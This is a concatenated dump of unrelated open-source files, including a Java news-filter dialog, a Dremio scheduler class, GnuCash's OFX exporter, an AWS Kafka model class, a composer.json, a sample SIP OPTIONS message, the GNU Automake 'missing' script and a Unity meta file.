ProgressMonitorDialog dialog = new ProgressMonitorDialog(getShell());\r\n dialog.setBlockOnOpen(false);\r\n dialog.setCancelable(true);\r\n dialog.setOpenOnRun(true);\r\n try {\r\n dialog.run(true, true, runnable);\r\n } catch (InvocationTargetException e) {\r\n Activator.getDefault().logError(e.getMessage(), e);\r\n } catch (InterruptedException e) {\r\n Activator.getDefault().logError(e.getMessage(), e);\r\n }\r\n }\r\n\r\n private void applyFilterOnChunks(final List<INews> news, ISearchFilter filter) {\r\n Collection<IFilterAction> actions = CoreUtils.getActions(filter); //Need to sort structural actions to end\r\n final Set<IEntity> entitiesToSave = new HashSet<IEntity>(news.size());\r\n final Map<INews, INews> replacements = new HashMap<INews, INews>();\r\n\r\n for (final IFilterAction action : actions) {\r\n NewsActionDescriptor newsActionDescriptor = fNewsActionPresentationManager.getNewsActionDescriptor(action.getActionId());\r\n if (newsActionDescriptor != null && newsActionDescriptor.isForcable()) {\r\n final INewsAction newsAction = newsActionDescriptor.getNewsAction();\r\n if (newsAction != null) {\r\n SafeRunnable.run(new ISafeRunnable() {\r\n public void handleException(Throwable e) {\r\n Activator.getDefault().logError(e.getMessage(), e);\r\n }\r\n\r\n public void run() throws Exception {\r\n List<IEntity> changedEntities = newsAction.run(news, replacements, action.getData());\r\n entitiesToSave.addAll(changedEntities);\r\n }\r\n });\r\n }\r\n }\r\n }\r\n\r\n /* Make sure that changed entities are saved for all actions */\r\n if (!entitiesToSave.isEmpty())\r\n DynamicDAO.saveAll(entitiesToSave);\r\n }\r\n\r\n private void updateTitle() {\r\n ISearchFilter problematicFilter = null;\r\n\r\n Table table = fViewer.getTable();\r\n TableItem[] items = table.getItems();\r\n for (TableItem item : items) {\r\n ISearchFilter filter = (ISearchFilter) item.getData();\r\n if (filter.getSearch() == null && filter.isEnabled()) {\r\n int index = table.indexOf(item);\r\n if (index < table.getItemCount() - 1) {\r\n problematicFilter = filter;\r\n break;\r\n }\r\n }\r\n }\r\n\r\n if (problematicFilter != null)\r\n setMessage(NLS.bind(Messages.NewsFiltersListDialog_FILTER_MATCHES_ALL_NEWS, problematicFilter.getName()), IMessageProvider.WARNING);\r\n else\r\n setMessage(Messages.NewsFiltersListDialog_ENABLED_FILTERS, IMessageProvider.INFORMATION);\r\n }\r\n\r\n /*\r\n * @see org.eclipse.jface.dialogs.TrayDialog#createButtonBar(org.eclipse.swt.widgets.Composite)\r\n */\r\n @Override\r\n protected Control createButtonBar(Composite parent) {\r\n return null;\r\n }\r\n\r\n private void updateMoveEnablement() {\r\n boolean enableMoveUp = true;\r\n boolean enableMoveDown = true;\r\n int[] selectionIndices = fViewer.getTable().getSelectionIndices();\r\n if (selectionIndices.length == 1) {\r\n enableMoveUp = selectionIndices[0] != 0;\r\n enableMoveDown = selectionIndices[0] != fViewer.getTable().getItemCount() - 1;\r\n } else {\r\n enableMoveUp = false;\r\n enableMoveDown = false;\r\n }\r\n\r\n fMoveUpButton.setEnabled(enableMoveUp);\r\n fMoveDownButton.setEnabled(enableMoveDown);\r\n }\r\n\r\n private void onMove(boolean up) {\r\n TableItem[] items = fViewer.getTable().getItems();\r\n List<ISearchFilter> sortedFilters = new ArrayList<ISearchFilter>(items.length);\r\n for (TableItem item : items) {\r\n sortedFilters.add((ISearchFilter) item.getData());\r\n }\r\n\r\n IStructuredSelection selection = (IStructuredSelection) fViewer.getSelection();\r\n ISearchFilter selectedFilter = (ISearchFilter) selection.getFirstElement();\r\n int selectedFilterOrder = selectedFilter.getOrder();\r\n ISearchFilter otherFilter = null;\r\n int index = sortedFilters.indexOf(selectedFilter);\r\n\r\n /* Move Up */\r\n if (up && index > 0) {\r\n otherFilter = sortedFilters.get(index - 1);\r\n selectedFilter.setOrder(otherFilter.getOrder());\r\n otherFilter.setOrder(selectedFilterOrder);\r\n }\r\n\r\n /* Move Down */\r\n else if (!up && index < sortedFilters.size() - 1) {\r\n otherFilter = sortedFilters.get(index + 1);\r\n selectedFilter.setOrder(otherFilter.getOrder());\r\n otherFilter.setOrder(selectedFilterOrder);\r\n }\r\n\r\n fSearchFilterDao.saveAll(Arrays.asList(new ISearchFilter[] { selectedFilter, otherFilter }));\r\n fViewer.refresh();\r\n fViewer.getTable().showSelection();\r\n updateCheckedState();\r\n updateMoveEnablement();\r\n updateTitle();\r\n }\r\n\r\n private void updateCheckedState() {\r\n TableItem[] items = fViewer.getTable().getItems();\r\n for (TableItem item : items) {\r\n ISearchFilter filter = (ISearchFilter) item.getData();\r\n fViewer.setChecked(filter, filter.isEnabled());\r\n }\r\n }\r\n\r\n private void onAdd() {\r\n NewsFilterDialog dialog = new NewsFilterDialog(getShell());\r\n Table table = fViewer.getTable();\r\n dialog.setFilterPosition(table.getItemCount());\r\n if (dialog.open() == IDialogConstants.OK_ID) {\r\n fViewer.refresh();\r\n updateCheckedState();\r\n fViewer.setSelection(new StructuredSelection(table.getItem(table.getItemCount() - 1).getData()));\r\n fViewer.getTable().setFocus();\r\n updateTitle();\r\n }\r\n }\r\n\r\n private void onEdit() {\r\n IStructuredSelection selection = (IStructuredSelection) fViewer.getSelection();\r\n ISearchFilter filter = (ISearchFilter) selection.getFirstElement();\r\n\r\n NewsFilterDialog dialog = new NewsFilterDialog(getShell(), filter);\r\n if (dialog.open() == IDialogConstants.OK_ID) {\r\n fViewer.refresh(true);\r\n fViewer.getTable().setFocus();\r\n updateTitle();\r\n }\r\n }\r\n\r\n private void onDelete() {\r\n IStructuredSelection selection = (IStructuredSelection) fViewer.getSelection();\r\n\r\n List<?> selectedFilters = selection.toList();\r\n ConfirmDialog dialog = new ConfirmDialog(getShell(), Messages.NewsFiltersListDialog_CONFIRM_DELETE, Messages.NewsFiltersListDialog_NO_UNDO, getMessage(selectedFilters), null);\r\n if (dialog.open() == IDialogConstants.OK_ID) {\r\n List<ISearchFilter> filtersToDelete = new ArrayList<ISearchFilter>(selectedFilters.size());\r\n for (Iterator<?> iterator = selectedFilters.iterator(); iterator.hasNext();) {\r\n ISearchFilter filter = (ISearchFilter) iterator.next();\r\n filtersToDelete.add(filter);\r\n }\r\n\r\n fSearchFilterDao.deleteAll(filtersToDelete);\r\n fViewer.remove(selection.toArray());\r\n fixOrderAfterDelete();\r\n updateTitle();\r\n }\r\n }\r\n\r\n /* Ensure that after Delete, the orders are in sync again */\r\n private void fixOrderAfterDelete() {\r\n List<ISearchFilter> filtersToSave = new ArrayList<ISearchFilter>();\r\n\r\n TableItem[] items = fViewer.getTable().getItems();\r\n for (int i = 0; i < items.length; i++) {\r\n TableItem item = items[i];\r\n ISearchFilter filter = (ISearchFilter) item.getData();\r\n filter.setOrder(i);\r\n\r\n filtersToSave.add(filter);\r\n }\r\n\r\n DynamicDAO.saveAll(filtersToSave);\r\n }\r\n\r\n private String getMessage(List<?> elements) {\r\n StringBuilder message = new StringBuilder();\r\n\r\n /* One Element */\r\n if (elements.size() == 1) {\r\n ISearchFilter filter = (ISearchFilter) elements.get(0);\r\n message.append(NLS.bind(Messages.NewsFiltersListDialog_CONFIRM_DELETE_FILTER_N, filter.getName()));\r\n }\r\n\r\n /* N Elements */\r\n else {\r\n message.append(Messages.NewsFiltersListDialog_CONFIRM_DELETE_FILTERS);\r\n }\r\n\r\n return message.toString();\r\n }\r\n\r\n /*\r\n * @see org.eclipse.jface.window.Window#configureShell(org.eclipse.swt.widgets.Shell)\r\n */\r\n @Override\r\n protected void configureShell(Shell shell) {\r\n super.configureShell(shell);\r\n shell.setText(Messages.NewsFiltersListDialog_NEWS_FILTERS);\r\n }\r\n\r\n /**\r\n * @param filter the {@link ISearchFilter} to select.\r\n */\r\n public void setSelection(ISearchFilter filter) {\r\n fSelectedFilter = filter;\r\n if (fViewer != null)\r\n fViewer.setSelection(new StructuredSelection(fSelectedFilter), true);\r\n }\r\n\r\n /**\r\n * Refresh the list of displayed Filters.\r\n */\r\n public void refresh() {\r\n if (fViewer != null) {\r\n fViewer.refresh();\r\n updateCheckedState();\r\n }\r\n }\r\n\r\n /*\r\n * @see org.eclipse.jface.dialogs.Dialog#isResizable()\r\n */\r\n @Override\r\n protected boolean isResizable() {\r\n return true;\r\n }\r\n\r\n /*\r\n * @see org.eclipse.jface.window.Window#getShellStyle()\r\n */\r\n @Override\r\n protected int getShellStyle() {\r\n int style = SWT.TITLE | SWT.BORDER | SWT.MIN | SWT.MAX | SWT.RESIZE | SWT.CLOSE | getDefaultOrientation();\r\n\r\n return style;\r\n }\r\n\r\n /*\r\n * @see org.eclipse.jface.dialogs.Dialog#getDialogBoundsStrategy()\r\n */\r\n @Override\r\n protected int getDialogBoundsStrategy() {\r\n return DIALOG_PERSISTSIZE;\r\n }\r\n\r\n /*\r\n * @see org.eclipse.jface.dialogs.Dialog#getDialogBoundsSettings()\r\n */\r\n @Override\r\n protected IDialogSettings getDialogBoundsSettings() {\r\n IDialogSettings settings = Activator.getDefault().getDialogSettings();\r\n IDialogSettings section = settings.getSection(SETTINGS_SECTION);\r\n if (section != null)\r\n return section;\r\n\r\n return settings.addNewSection(SETTINGS_SECTION);\r\n }\r\n}"} {"text": "/*\n * Copyright (C) 2017-2019 Dremio Corporation\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.dremio.service.scheduler;\n\nimport java.time.Instant;\nimport java.time.LocalDateTime;\nimport java.time.ZoneId;\nimport java.time.temporal.TemporalAdjuster;\nimport java.time.temporal.TemporalAmount;\nimport java.util.Iterator;\n\nimport com.google.common.base.Preconditions;\n\nclass BaseSchedule implements Schedule {\n private final TemporalAmount amount;\n private final TemporalAdjuster adjuster;\n private final Instant at;\n private final ZoneId zoneId;\n private final String taskName;\n private final Long scheduledOwnershipRelease;\n private final CleanupListener cleanupListener;\n\n\n BaseSchedule(Instant at, TemporalAmount period, TemporalAdjuster adjuster, ZoneId zoneId,\n String taskName, Long scheduledOwnershipRelease, CleanupListener cleanupListener) {\n this.amount = period;\n this.adjuster = adjuster;\n this.at = at;\n this.zoneId = zoneId;\n this.taskName = taskName;\n this.scheduledOwnershipRelease = scheduledOwnershipRelease;\n this.cleanupListener = cleanupListener;\n }\n\n @Override\n public TemporalAmount getPeriod() {\n return amount;\n }\n\n @Override\n public Iterator<Instant> iterator() {\n LocalDateTime at = LocalDateTime.ofInstant(this.at, zoneId);\n LocalDateTime adjustedAt = at.with(adjuster);\n final LocalDateTime start = adjustedAt.isBefore(at)\n ? at.plus(amount).with(adjuster)\n : adjustedAt;\n\n return new Iterator<Instant>() {\n private LocalDateTime next = start;\n\n @Override\n public boolean hasNext() {\n return true;\n }\n\n @Override\n public Instant next() {\n Instant result = next.atZone(zoneId).toInstant();\n next = next.plus(amount).with(adjuster);\n\n return result;\n }\n\n @Override\n public void remove() {\n throw new UnsupportedOperationException(\"Schedule iterator does not support remove operation.\");\n }\n };\n }\n\n @Override\n public String getTaskName() {\n return taskName;\n }\n\n @Override\n public Long getScheduledOwnershipReleaseInMillis() {\n Preconditions.checkState(taskName != null,\n \"Name of the task for which to release scheduled ownership is missing\");\n return scheduledOwnershipRelease;\n }\n\n @Override\n public CleanupListener getCleanupListener() {\n return cleanupListener;\n }\n}\n"} {"text": "/*\n * Copyright (C) 2020 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n#include \"mylibrary/mylibrary.h\"\n\nvoid my_api() {}\n\n"} {"text": "/*\n * Copyright (c) 2012 - 2014 Ngewi Fet <ngewif@gmail.com>\n * Copyright (c) 2014 Yongxin Wang <fefe.wyx@gmail.com>\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage org.gnucash.android.export.ofx;\n\nimport android.database.sqlite.SQLiteDatabase;\nimport android.preference.PreferenceManager;\nimport android.util.Log;\n\nimport com.crashlytics.android.Crashlytics;\n\nimport org.gnucash.android.R;\nimport org.gnucash.android.app.GnuCashApplication;\nimport org.gnucash.android.db.adapter.AccountsDbAdapter;\nimport org.gnucash.android.export.ExportParams;\nimport org.gnucash.android.export.Exporter;\nimport org.gnucash.android.model.Account;\nimport org.gnucash.android.model.Transaction;\nimport org.gnucash.android.util.PreferencesHelper;\nimport org.gnucash.android.util.TimestampHelper;\nimport org.w3c.dom.Document;\nimport org.w3c.dom.Element;\nimport org.w3c.dom.Node;\nimport org.w3c.dom.ProcessingInstruction;\n\nimport java.io.BufferedWriter;\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.OutputStreamWriter;\nimport java.io.StringWriter;\nimport java.io.Writer;\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport javax.xml.parsers.DocumentBuilder;\nimport javax.xml.parsers.DocumentBuilderFactory;\nimport javax.xml.parsers.ParserConfigurationException;\nimport javax.xml.transform.OutputKeys;\nimport javax.xml.transform.Transformer;\nimport javax.xml.transform.TransformerException;\nimport javax.xml.transform.TransformerFactory;\nimport javax.xml.transform.dom.DOMSource;\nimport javax.xml.transform.stream.StreamResult;\n\n/**\n * Exports the data in the database in OFX format\n * @author Ngewi Fet <ngewi.fet@gmail.com>\n * @author Yongxin Wang <fefe.wyx@gmail.com>\n */\npublic class OfxExporter extends Exporter{\n\n /**\n\t * List of accounts in the expense report\n\t */\n\tprivate List<Account> mAccountsList;\n\n /**\n\t * Builds an XML representation of the {@link Account}s and {@link Transaction}s in the database\n\t */\n\tpublic OfxExporter(ExportParams params) {\n super(params, null);\n LOG_TAG = \"OfxExporter\";\n\t}\n\n /**\n * Overloaded constructor. Initializes the export parameters and the database to export\n * @param params Export options\n * @param db SQLiteDatabase to export\n */\n public OfxExporter(ExportParams params, SQLiteDatabase db){\n super(params, db);\n LOG_TAG = \"OfxExporter\";\n }\n\n /**\n\t * Converts all expenses into OFX XML format and adds them to the XML document\n\t * @param doc DOM document of the OFX expenses.\n\t * @param parent Parent node for all expenses in report\n\t */\n\tprivate void generateOfx(Document doc, Element parent){\n\t\tElement transactionUid = doc.createElement(OfxHelper.TAG_TRANSACTION_UID);\n\t\t//unsolicited because the data exported is not as a result of a request\n\t\ttransactionUid.appendChild(doc.createTextNode(OfxHelper.UNSOLICITED_TRANSACTION_ID));\n\n\t\tElement statementTransactionResponse = doc.createElement(OfxHelper.TAG_STATEMENT_TRANSACTION_RESPONSE);\n\t\tstatementTransactionResponse.appendChild(transactionUid);\n\t\t\n\t\tElement bankmsgs = doc.createElement(OfxHelper.TAG_BANK_MESSAGES_V1);\n\t\tbankmsgs.appendChild(statementTransactionResponse);\n\t\t\n\t\tparent.appendChild(bankmsgs);\t\t\n\t\t\n\t\tAccountsDbAdapter accountsDbAdapter = mAccountsDbAdapter;\n\t\tfor (Account account : mAccountsList) {\t\t\n\t\t\tif (account.getTransactionCount() == 0)\n\t\t\t\tcontinue; \n\n //do not export imbalance accounts for OFX transactions and double-entry disabled\n if (!GnuCashApplication.isDoubleEntryEnabled() && account.getName().contains(mContext.getString(R.string.imbalance_account_name)))\n continue;\n\n\n\t\t\t//add account details (transactions) to the XML document\t\t\t\n\t\t\taccount.toOfx(doc, statementTransactionResponse, mExportParams.getExportStartTime());\n\t\t\t\n\t\t\t//mark as exported\n\t\t\taccountsDbAdapter.markAsExported(account.getUID());\n\t\t\t\n\t\t}\n\t}\n\n /**\n * Generate OFX export file from the transactions in the database\n * @return String containing OFX export\n * @throws ExporterException\n */\n private String generateOfxExport() throws ExporterException {\n DocumentBuilderFactory docFactory = DocumentBuilderFactory\n .newInstance();\n DocumentBuilder docBuilder;\n try {\n docBuilder = docFactory.newDocumentBuilder();\n } catch (ParserConfigurationException e) {\n throw new ExporterException(mExportParams, e);\n }\n\n Document document = docBuilder.newDocument();\n Element root = document.createElement(\"OFX\");\n\n ProcessingInstruction pi = document.createProcessingInstruction(\"OFX\", OfxHelper.OFX_HEADER);\n document.appendChild(pi);\n document.appendChild(root);\n\n generateOfx(document, root);\n\n boolean useXmlHeader = PreferenceManager.getDefaultSharedPreferences(mContext)\n .getBoolean(mContext.getString(R.string.key_xml_ofx_header), false);\n\n PreferencesHelper.setLastExportTime(TimestampHelper.getTimestampFromNow());\n\n StringWriter stringWriter = new StringWriter();\n //if we want SGML OFX headers, write first to string and then prepend header\n if (useXmlHeader){\n write(document, stringWriter, false);\n return stringWriter.toString();\n } else {\n Node ofxNode = document.getElementsByTagName(\"OFX\").item(0);\n write(ofxNode, stringWriter, true);\n return OfxHelper.OFX_SGML_HEADER + '\\n' + stringWriter.toString();\n }\n }\n\n @Override\n public List<String> generateExport() throws ExporterException {\n mAccountsList = mAccountsDbAdapter.getExportableAccounts(mExportParams.getExportStartTime());\n if (mAccountsList.isEmpty())\n return new ArrayList<>(); // Nothing to export, so no files generated\n\n BufferedWriter writer = null;\n\n try {\n File file = new File(getExportCacheFilePath());\n writer = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(file), \"UTF-8\"));\n writer.write(generateOfxExport());\n } catch (IOException e) {\n throw new ExporterException(mExportParams, e);\n } finally {\n if (writer != null) {\n try {\n writer.close();\n } catch (IOException e) {\n throw new ExporterException(mExportParams, e);\n }\n }\n }\n\n List<String> exportedFiles = new ArrayList<>();\n exportedFiles.add(getExportCacheFilePath());\n\n return exportedFiles;\n }\n\n /**\n * Writes out the document held in <code>node</code> to <code>outputWriter</code>\n * @param node {@link Node} containing the OFX document structure. Usually the parent node\n * @param outputWriter {@link java.io.Writer} to use in writing the file to stream\n * @param omitXmlDeclaration Flag which causes the XML declaration to be omitted\n */\n private void write(Node node, Writer outputWriter, boolean omitXmlDeclaration){\n try {\n TransformerFactory transformerFactory = TransformerFactory\n .newInstance();\n Transformer transformer = transformerFactory.newTransformer();\n DOMSource source = new DOMSource(node);\n StreamResult result = new StreamResult(outputWriter);\n\n transformer.setOutputProperty(\"{http://xml.apache.org/xslt}indent-amount\", \"2\");\n transformer.setOutputProperty(OutputKeys.INDENT, \"yes\");\n if (omitXmlDeclaration) {\n transformer.setOutputProperty(OutputKeys.OMIT_XML_DECLARATION, \"yes\");\n }\n\n transformer.transform(source, result);\n } catch (TransformerException tfException) {\n Log.e(LOG_TAG, tfException.getMessage());\n Crashlytics.logException(tfException);\n }\n }\n\n /**\n * Returns the MIME type for this exporter.\n * @return MIME type as string\n */\n public String getExportMimeType(){\n return \"text/xml\";\n }\n}\n"} {"text": "/**\n * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.\n * SPDX-License-Identifier: Apache-2.0.\n */\n\n#include <aws/kafka/model/BrokerEBSVolumeInfo.h>\n#include <aws/core/utils/json/JsonSerializer.h>\n\n#include <utility>\n\nusing namespace Aws::Utils::Json;\nusing namespace Aws::Utils;\n\nnamespace Aws\n{\nnamespace Kafka\n{\nnamespace Model\n{\n\nBrokerEBSVolumeInfo::BrokerEBSVolumeInfo() : \n m_kafkaBrokerNodeIdHasBeenSet(false),\n m_volumeSizeGB(0),\n m_volumeSizeGBHasBeenSet(false)\n{\n}\n\nBrokerEBSVolumeInfo::BrokerEBSVolumeInfo(JsonView jsonValue) : \n m_kafkaBrokerNodeIdHasBeenSet(false),\n m_volumeSizeGB(0),\n m_volumeSizeGBHasBeenSet(false)\n{\n *this = jsonValue;\n}\n\nBrokerEBSVolumeInfo& BrokerEBSVolumeInfo::operator =(JsonView jsonValue)\n{\n if(jsonValue.ValueExists(\"kafkaBrokerNodeId\"))\n {\n m_kafkaBrokerNodeId = jsonValue.GetString(\"kafkaBrokerNodeId\");\n\n m_kafkaBrokerNodeIdHasBeenSet = true;\n }\n\n if(jsonValue.ValueExists(\"volumeSizeGB\"))\n {\n m_volumeSizeGB = jsonValue.GetInteger(\"volumeSizeGB\");\n\n m_volumeSizeGBHasBeenSet = true;\n }\n\n return *this;\n}\n\nJsonValue BrokerEBSVolumeInfo::Jsonize() const\n{\n JsonValue payload;\n\n if(m_kafkaBrokerNodeIdHasBeenSet)\n {\n payload.WithString(\"kafkaBrokerNodeId\", m_kafkaBrokerNodeId);\n\n }\n\n if(m_volumeSizeGBHasBeenSet)\n {\n payload.WithInteger(\"volumeSizeGB\", m_volumeSizeGB);\n\n }\n\n return payload;\n}\n\n} // namespace Model\n} // namespace Kafka\n} // namespace Aws\n"} {"text": "{\n \"name\": \"mockery/mockery\",\n \"description\": \"Mockery is a simple yet flexible PHP mock object framework\",\n \"scripts\": {\n \"docs\": \"phpdoc -d library -t docs/api\"\n },\n \"keywords\": [\n \"bdd\",\n \"library\",\n \"mock\",\n \"mock objects\",\n \"mockery\",\n \"stub\",\n \"tdd\",\n \"test\",\n \"test double\",\n \"testing\"\n ],\n \"homepage\": \"https://github.com/mockery/mockery\",\n \"license\": \"BSD-3-Clause\",\n \"authors\": [\n {\n \"name\": \"Pádraic Brady\",\n \"email\": \"padraic.brady@gmail.com\",\n \"homepage\": \"http://blog.astrumfutura.com\"\n },\n {\n \"name\": \"Dave Marshall\",\n \"email\": \"dave.marshall@atstsolutions.co.uk\",\n \"homepage\": \"http://davedevelopment.co.uk\"\n }\n ],\n \"require\": {\n \"php\": \">=5.6.0\",\n \"lib-pcre\": \">=7.0\",\n \"hamcrest/hamcrest-php\": \"~2.0\"\n },\n \"require-dev\": {\n \"phpunit/phpunit\": \"~5.7.10|~6.5|~7.0|~8.0\"\n },\n \"autoload\": {\n \"psr-0\": {\n \"Mockery\": \"library/\"\n }\n },\n \"autoload-dev\": {\n \"psr-4\": {\n \"test\\\\\": \"tests/\"\n }\n },\n \"extra\": {\n \"branch-alias\": {\n \"dev-master\": \"1.0.x-dev\"\n }\n }\n}\n"} {"text": "OPTIONS sip:bob@example.com SIP/2.0\r\nVia: SIP/2.0/UDP 172.21.40.44;branch=z9hG4bKitIIzAialKS\r\nVia: SIP/2.0/UDP [3ffe:1200:3012:c000:210:a4ff:fe8d:6a46]:5062\r\n ;branch=z9hG4bKJv+PsUQdfOb\r\n ;received=172.21.40.24\r\nRecord-Route: <sip:bob@example.com;maddr=172.21.40.44>\r\nRecord-Route: <sip:bob@example.com\r\n ;maddr=[3ffe:1200:3012:c000:210:a4ff:fe8d:6a46]>\r\nFrom: <sip:alice@example.com>;tag=ud6a29947\r\nTo: <sip:bob@example.com>\r\nCall-ID: f3359e42-5109-11d6-998d-0010a47e1c0f\r\nCSeq: 1 OPTIONS\r\nContact: <sip:[3ffe:1200:3012:c000:210:a4ff:fe8d:6a46]:5062>\r\nContent-Length: 0\r\nAccept: \r\nAllow: \r\n\r\n"} {"text": "#! /bin/sh\n# Common wrapper for a few potentially missing GNU programs.\n\nscriptversion=2013-10-28.13; # UTC\n\n# Copyright (C) 1996-2013 Free Software Foundation, Inc.\n# Originally written by Fran,cois Pinard <pinard@iro.umontreal.ca>, 1996.\n\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2, or (at your option)\n# any later version.\n\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n\n# As a special exception to the GNU General Public License, if you\n# distribute this file as part of a program that contains a\n# configuration script generated by Autoconf, you may include it under\n# the same distribution terms that you use for the rest of that program.\n\nif test $# -eq 0; then\n echo 1>&2 \"Try '$0 --help' for more information\"\n exit 1\nfi\n\ncase $1 in\n\n --is-lightweight)\n # Used by our autoconf macros to check whether the available missing\n # script is modern enough.\n exit 0\n ;;\n\n --run)\n # Back-compat with the calling convention used by older automake.\n shift\n ;;\n\n -h|--h|--he|--hel|--help)\n echo \"\\\n$0 [OPTION]... PROGRAM [ARGUMENT]...\n\nRun 'PROGRAM [ARGUMENT]...', returning a proper advice when this fails due\nto PROGRAM being missing or too old.\n\nOptions:\n -h, --help display this help and exit\n -v, --version output version information and exit\n\nSupported PROGRAM values:\n aclocal autoconf autoheader autom4te automake makeinfo\n bison yacc flex lex help2man\n\nVersion suffixes to PROGRAM as well as the prefixes 'gnu-', 'gnu', and\n'g' are ignored when checking the name.\n\nSend bug reports to <bug-automake@gnu.org>.\"\n exit $?\n ;;\n\n -v|--v|--ve|--ver|--vers|--versi|--versio|--version)\n echo \"missing $scriptversion (GNU Automake)\"\n exit $?\n ;;\n\n -*)\n echo 1>&2 \"$0: unknown '$1' option\"\n echo 1>&2 \"Try '$0 --help' for more information\"\n exit 1\n ;;\n\nesac\n\n# Run the given program, remember its exit status.\n\"$@\"; st=$?\n\n# If it succeeded, we are done.\ntest $st -eq 0 && exit 0\n\n# Also exit now if we it failed (or wasn't found), and '--version' was\n# passed; such an option is passed most likely to detect whether the\n# program is present and works.\ncase $2 in --version|--help) exit $st;; esac\n\n# Exit code 63 means version mismatch. This often happens when the user\n# tries to use an ancient version of a tool on a file that requires a\n# minimum version.\nif test $st -eq 63; then\n msg=\"probably too old\"\nelif test $st -eq 127; then\n # Program was missing.\n msg=\"missing on your system\"\nelse\n # Program was found and executed, but failed. Give up.\n exit $st\nfi\n\nperl_URL=http://www.perl.org/\nflex_URL=http://flex.sourceforge.net/\ngnu_software_URL=http://www.gnu.org/software\n\nprogram_details ()\n{\n case $1 in\n aclocal|automake)\n echo \"The '$1' program is part of the GNU Automake package:\"\n echo \"<$gnu_software_URL/automake>\"\n echo \"It also requires GNU Autoconf, GNU m4 and Perl in order to run:\"\n echo \"<$gnu_software_URL/autoconf>\"\n echo \"<$gnu_software_URL/m4/>\"\n echo \"<$perl_URL>\"\n ;;\n autoconf|autom4te|autoheader)\n echo \"The '$1' program is part of the GNU Autoconf package:\"\n echo \"<$gnu_software_URL/autoconf/>\"\n echo \"It also requires GNU m4 and Perl in order to run:\"\n echo \"<$gnu_software_URL/m4/>\"\n echo \"<$perl_URL>\"\n ;;\n esac\n}\n\ngive_advice ()\n{\n # Normalize program name to check for.\n normalized_program=`echo \"$1\" | sed '\n s/^gnu-//; t\n s/^gnu//; t\n s/^g//; t'`\n\n printf '%s\\n' \"'$1' is $msg.\"\n\n configure_deps=\"'configure.ac' or m4 files included by 'configure.ac'\"\n case $normalized_program in\n autoconf*)\n echo \"You should only need it if you modified 'configure.ac',\"\n echo \"or m4 files included by it.\"\n program_details 'autoconf'\n ;;\n autoheader*)\n echo \"You should only need it if you modified 'acconfig.h' or\"\n echo \"$configure_deps.\"\n program_details 'autoheader'\n ;;\n automake*)\n echo \"You should only need it if you modified 'Makefile.am' or\"\n echo \"$configure_deps.\"\n program_details 'automake'\n ;;\n aclocal*)\n echo \"You should only need it if you modified 'acinclude.m4' or\"\n echo \"$configure_deps.\"\n program_details 'aclocal'\n ;;\n autom4te*)\n echo \"You might have modified some maintainer files that require\"\n echo \"the 'autom4te' program to be rebuilt.\"\n program_details 'autom4te'\n ;;\n bison*|yacc*)\n echo \"You should only need it if you modified a '.y' file.\"\n echo \"You may want to install the GNU Bison package:\"\n echo \"<$gnu_software_URL/bison/>\"\n ;;\n lex*|flex*)\n echo \"You should only need it if you modified a '.l' file.\"\n echo \"You may want to install the Fast Lexical Analyzer package:\"\n echo \"<$flex_URL>\"\n ;;\n help2man*)\n echo \"You should only need it if you modified a dependency\" \\\n \"of a man page.\"\n echo \"You may want to install the GNU Help2man package:\"\n echo \"<$gnu_software_URL/help2man/>\"\n ;;\n makeinfo*)\n echo \"You should only need it if you modified a '.texi' file, or\"\n echo \"any other file indirectly affecting the aspect of the manual.\"\n echo \"You might want to install the Texinfo package:\"\n echo \"<$gnu_software_URL/texinfo/>\"\n echo \"The spurious makeinfo call might also be the consequence of\"\n echo \"using a buggy 'make' (AIX, DU, IRIX), in which case you might\"\n echo \"want to install GNU make:\"\n echo \"<$gnu_software_URL/make/>\"\n ;;\n *)\n echo \"You might have modified some files without having the proper\"\n echo \"tools for further handling them. Check the 'README' file, it\"\n echo \"often tells you about the needed prerequisites for installing\"\n echo \"this package. You may also peek at any GNU archive site, in\"\n echo \"case some other package contains this missing '$1' program.\"\n ;;\n esac\n}\n\ngive_advice \"$1\" | sed -e '1s/^/WARNING: /' \\\n -e '2,$s/^/ /' >&2\n\n# Propagate the correct exit status (expected to be 127 for a program\n# not found, 63 for a program that failed due to version mismatch).\nexit $st\n\n# Local variables:\n# eval: (add-hook 'write-file-hooks 'time-stamp)\n# time-stamp-start: \"scriptversion=\"\n# time-stamp-format: \"%:y-%02m-%02d.%02H\"\n# time-stamp-time-zone: \"UTC\"\n# time-stamp-end: \"; # UTC\"\n# End:\n"} {"text": "fileFormatVersion: 2\r\nguid: 6af95d700b5ba480bbc6d727c10a2ac1\r\ntimeCreated: 1434665137\r\nlicenseType: Pro\r\nMonoImporter:\r\n serializedVersion: 2\r\n defaultReferences: []\r\n executionOrder: 0\r\n 